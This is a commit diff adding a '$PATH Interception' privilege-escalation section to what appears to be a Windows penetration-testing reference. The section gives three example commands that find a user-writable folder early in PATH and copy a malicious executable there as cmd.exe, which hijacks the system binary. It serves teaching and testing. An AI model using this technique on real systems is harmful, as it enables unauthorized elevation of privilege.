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Merge pull request #331 from PinkDev1/patch-2

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Added EoP - $PATH Interception
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Methodology and Resources/Windows - Privilege Escalation.md
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@ -52,6 +52,7 @@
* [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64) * [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
* [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue) * [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue)
* [CVE-2019-1388](#cve-2019-1388) * [CVE-2019-1388](#cve-2019-1388)
* [EoP - $PATH Interception](#eop---path-interception)
* [References](#references) * [References](#references)
## Tools ## Tools
@ -1177,6 +1178,29 @@ Failing on :
Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege
## EoP - $PATH Interception
Requirements:
- PATH contains a writeable folder with low privileges.
- The writeable folder is _before_ the folder that contains the legitimate binary.
EXAMPLE:
```
//(Powershell) List contents of the PATH environment variable
//EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path
//See permissions of the target folder
//EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"
//Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
```
Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\system32\" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.
## References ## References
* [Windows Internals Book - 02/07/2017](https://docs.microsoft.com/en-us/sysinternals/learn/windows-internals) * [Windows Internals Book - 02/07/2017](https://docs.microsoft.com/en-us/sysinternals/learn/windows-internals)
@ -1211,3 +1235,4 @@ Detailed information about the vulnerability : https://www.zerodayinitiative.com
* [Abusing Diaghub - xct - March 07, 2019](https://vulndev.io/howto/2019/03/07/diaghub.html) * [Abusing Diaghub - xct - March 07, 2019](https://vulndev.io/howto/2019/03/07/diaghub.html)
* [Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html) * [Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html)
* [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/) * [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/)
* [Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows](https://www.elladodelmal.com/2020/03/hacking-trick-environment-variable-path.html?m=1)